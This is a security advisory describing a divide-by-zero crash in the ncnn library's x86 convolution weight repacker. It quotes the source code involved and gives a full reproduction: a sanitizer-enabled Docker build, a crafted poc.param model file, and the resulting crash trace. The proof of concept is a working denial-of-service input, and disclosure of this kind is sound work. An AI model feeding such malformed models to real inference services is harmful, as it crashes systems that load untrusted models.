Malformed Convolution Model Crashes X86 Repacking
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/mat.h:1137 in Mat::Mat(int, int, int, void*, size_t, int, Allocator*)
Sanitizer verdict: FPE on unknown address 0x5d96268ebf23 (pc 0x5d96268ebf23 bp 0x7fffeb574580 sp 0x7fffeb574240 T0)
Summary
A Convolution layer whose weight count disagrees with kernel_w * kernel_h * num_output makes the x86 packed-weight repacker reshape the weight tensor to an impossible shape. Mat::reshape returns an empty Mat with elemsize == 0, the repacker calls channel() on it without checking, and the Mat constructor divides by that zero element size. ncnnoptimize, or any process calling ncnn::Net::load_model() on the attacker's .param/.bin, is killed with SIGFPE during model loading.
Detail
The untrusted fields are Convolution parameter keys 0 (num_output), 1/11 (kernel size) and 6 (weight_data_size). Neither Convolution::load_param nor load_model requires them to be consistent: load_model merely reads weight_data_size floats. Convolution_x86::create_pipeline then derives num_input = weight_data_size / kernel_size / num_output by truncating division (src/layer/x86/convolution_x86.cpp:302) and picks elempack/out_elempack from those counts, and the 3x3 stride-1 shape combination routes into convolution_transform_kernel_packed_sse.
// src/layer/x86/convolution_x86.cpp:85
{
Mat weight_data_r2 = weight_data.reshape(maxk, num_input, num_output);
weight_data_tm.create(maxk, num_input / elempack, num_output / out_elempack, (size_t)4u * elempack * out_elempack, elempack * out_elempack);
for (int q = 0; q + (out_elempack - 1) < num_output; q += out_elempack)
{
float* g00 = weight_data_tm.channel(q / out_elempack);
for (int p = 0; p + (elempack - 1) < num_input; p += elempack)
{
for (int k = 0; k < maxk; k++)
{
for (int i = 0; i < elempack; i++)
{
for (int j = 0; j < out_elempack; j++)
{
const float* k00 = weight_data_r2.channel(q + j).row(p + i);
// src/mat.h:1641
NCNN_FORCEINLINE Mat Mat::channel(int _c)
{
Mat m(w, h, d, (unsigned char*)data + cstep * _c * elemsize, elemsize, elempack, allocator);
// src/mat.h:1129
NCNN_FORCEINLINE Mat::Mat(int _w, int _h, int _c, void* _data, size_t _elemsize, int _elempack, Allocator* _allocator)
: data(_data), refcount(0), elemsize(_elemsize), elempack(_elempack), allocator(_allocator), dims(3), w(_w), h(_h), d(1), c(_c)
#if NCNN_BATCH
,
n(1),
nstep(0)
#endif
{
cstep = alignSize((size_t)w * h * elemsize, 16) / elemsize;
The PoC declares 0=8 1=3 11=3 6=80 with stride and dilation 1, and writes 80 float32 weights. num_input becomes 80 / 9 / 8 == 1, so elempack is 1 and out_elempack is 8 (8 % 8 == 0), which selects the convolution_transform_kernel_packed_sse branch at line 489. Line 86 then calls weight_data.reshape(9, 1, 8); Mat::reshape starts with if (w * h * d * c != _w * _h * _c) return Mat(); (src/mat.cpp:197), and 80 elements cannot be laid out as 9x1x8 = 72, so it returns a default-constructed Mat.
weight_data_r2 is consequently empty — data == 0, elemsize == 0 — and no .empty() check follows. The innermost loop calls weight_data_r2.channel(q + j), which constructs a sub-Mat and, at src/mat.h:1137, evaluates alignSize((size_t)w * h * elemsize, 16) / elemsize with elemsize == 0. The div executes with a zero divisor and the process takes SIGFPE. Any weight count that is not an exact multiple of maxk * num_output produces the same empty reshape result on this path.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-convolution-model-crashes-x86-repacking && cd ncnn-poc-malformed-convolution-model-crashes-x86-repacking
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
1 1
Convolution conv 0 1 out 0=8 1=3 6=80
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5fb21c777f23 (pc 0x5fb21c777f23 bp 0x7fff25f02750 sp 0x7fff25f02410 T0)
#0 0x5fb21c777f23 in ncnn::Mat::Mat(int, int, int, void*, unsigned long, int, ncnn::Allocator*) /ncnn/src/mat.h:1137
#1 0x5fb21c777f23 in ncnn::Mat::channel(int) /ncnn/src/mat.h:1643
#2 0x5fb21c777f23 in convolution_transform_kernel_packed_sse /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:102
#3 0x5fb21c781d7c in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:489
#4 0x5fb21b99fc96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
#5 0x5fb21b8b3c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#6 0x774eaf2941c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x774eaf29428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x5fb21b833624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/mat.h:1137 in ncnn::Mat::Mat(int, int, int, void*, unsigned long, int, ncnn::Allocator*)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst